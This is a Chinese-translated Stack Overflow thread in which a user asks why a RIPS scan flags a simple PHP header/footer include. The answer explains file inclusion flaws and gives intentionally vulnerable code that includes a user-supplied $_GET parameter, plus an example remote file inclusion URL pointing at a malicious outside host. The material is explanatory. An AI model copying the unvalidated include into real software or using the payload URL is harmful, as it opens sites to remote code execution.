为啥一个简单的 PHP 包含文件容易受到攻击

Posted

技术标签:

【中文标题】为啥一个简单的 PHP 包含文件容易受到攻击【英文标题】:How come a simple PHP include file be vulnerable为什么一个简单的 PHP 包含文件容易受到攻击 【发布时间】:2015-07-23 09:12:26 【问题描述】:

我有一个 header.php 和一个 footer.php,我将它们包含在所有其他页面中,例如主页、联系方式、关于我们等。

我包含页眉和页脚文件的方式是

<?php include 'inc/header.php';
some code
some code
include 'inc/header.php'; ?>

一切都很简单,工作正常。

我决定检查我的项目是否存在漏洞并下载了 RIPS 扫描程序。扫描后的结果

Userinput reaches sensitive sink.

5: include include 'inc/header.php';  // header.php
requires:
     5: if(!in_array($_GET['file'], $files)) else

这基本上说页眉和页脚都是易受攻击的,我应该使用

if(!in_array($_GET['file'], $files)) else

为什么一个简单的包含页眉和页脚文件容易受到攻击?如果易受攻击,我应该如何实现 if(!in_array($_GET['file'], $files)) else ??

header.php

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">

<head>
    <title></title>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
    <link rel="icon" href="images/common/lbfavicon.ico" />
    <meta name="author" content="example.com" />
    <link rel="stylesheet" type="text/css" href="template/css/reset.css" media="screen" />
    <link rel="stylesheet" type="text/css" href="template/css/layout.css" media="screen"/>
</head>

<body>
    <div id="header-wrapper">
        <div class="container">
            <div id="nav">
                <ul>
                    <li><a href="./">Home</a></li>
                    <li><a href="index.php?page=about">About</a></li>
                    <li><a href="index.php?page=contact">Contact</a></li>
                </ul>
            </div><!-- nav ends -->
        </div><!-- container ends -->
    </div><!-- header wrapper ends -->

    <div id="header">
        <div class="container">
            <div id="logo">
                <a href="./"><img src="template/images/logo.png"    /></a>
            </div><!-- logo ends -->
            <div id="search">
                <form method="get" action="searchresult.php">
                    <div class="form-item">
                       Search: <input  type="text" maxlength="120" name="searchfor" />
                    </div>
                </form>
            </div><!-- search ends -->
        </div><!-- container ends-->
    </div><!-- header ends -->

    <div class="container">
        <div id="announcement">
            <div id="breadcrumbs"></div>
        </div><!-- announcement ends -->
        <div id="pagewrapper">

Footer.php

        <div id="bottom">
            <div class="column">
                <h2>Abc.com</h2>
                    <ul>
                        <li><a href="about">About</a></li>
                        <li><a href="contact">Contact</a></li>
                    </ul>
            </div>

            <div class="column">
                <h2>Mode of payment</h2>
                    <ul>
                        <li>Credit/Debit card | Cheque | Demand draft</li>
                    </ul>
                <h2>Get in touch</h2>
                    <ul>
                        <li><img src="template/images/facebook.png"    /></li>
                    </ul>
            </div>

            <div class="column">
                <h2>Call us / Mail us</h2>
                    <ul>
                        <li>0-9999384745 / <a href="mailto:info@example.com">info@example.com</a></li>
                    </ul>
                <h2>Share us</h2>
                    <ul>
                        <li><img src="template/images/facebook.png"    /></li>
                    </ul>
            </div>

            <div style="clear: both;"></div>
        </div> <!-- bottom ends -->

        <div id="footer">

        </div>

        </div> <!--Pagewrapper end-->
    </div>    
</body>
</html>

【问题讨论】:

我们需要更多关于您包含的代码的上下文,特别是关于您发布的声明。您可以编辑您的帖子以包含更多信息吗? 这个问题需要更多代码,看来你在第 5 行的标题中的行文件中有一些可能“易受攻击”的代码。 '用户输入到达敏感接收器'如果您没有从用户输入中获取文件名,那么这个警告是无意义的。 @MariM,请给我几分钟。 @VeeeneX,第 5 行是,包括 'inc/header.php'; 【参考方案1】:

我想这只是一个警告,但以全局方式,当您包含名称来自用户输入的 .php 脚本时,您绝对应该检查提供的名称是否正确(以防止安全问题)。

例如,许多网站使用“全局”文件,该文件将根据来自用户的请求包含文件。

例子:

<?php

$get = $_GET['action'];
if ($get == "index") 
   include "includes/index.php";

//...
else

   include $get .".php";

现在让我们假设有人想在您的网站中包含一些恶意脚本。如果您的服务器允许跨网站请求,那么人们可能会指定一些可能对您的服务器或其他用户造成危险的外部脚本。

示例:./global.php?action=http://malicious4ever.com/dirtything

【讨论】:

这个有一个名字,叫做文件包含漏洞。 谢谢,不知道有什么具体的名字:) @Cr3aHal0,是的,它的 RFI,远程文件包含。但是简单地包含页眉和页脚有什么问题。 正如我所说,这可能是一个警告,请查看上面的@Answers_Seeker 答案

以上是关于为啥一个简单的 PHP 包含文件容易受到攻击的主要内容,如果未能解决你的问题,请参考以下文章

PHP - 加密安全问题(我是否容易受到攻击?)

Symfony漏洞让Drupal站点容易受到黑客攻击

超过1亿个物联网设备容易受到黑客降级攻击

将 PHP cookie 值设置为故意易受攻击

JSON Web 服务是不是容易受到 CSRF 攻击?

修复:在 0.1.6 之前,libyaml 容易受到来自恶意 YAML 有效负载的堆溢出攻击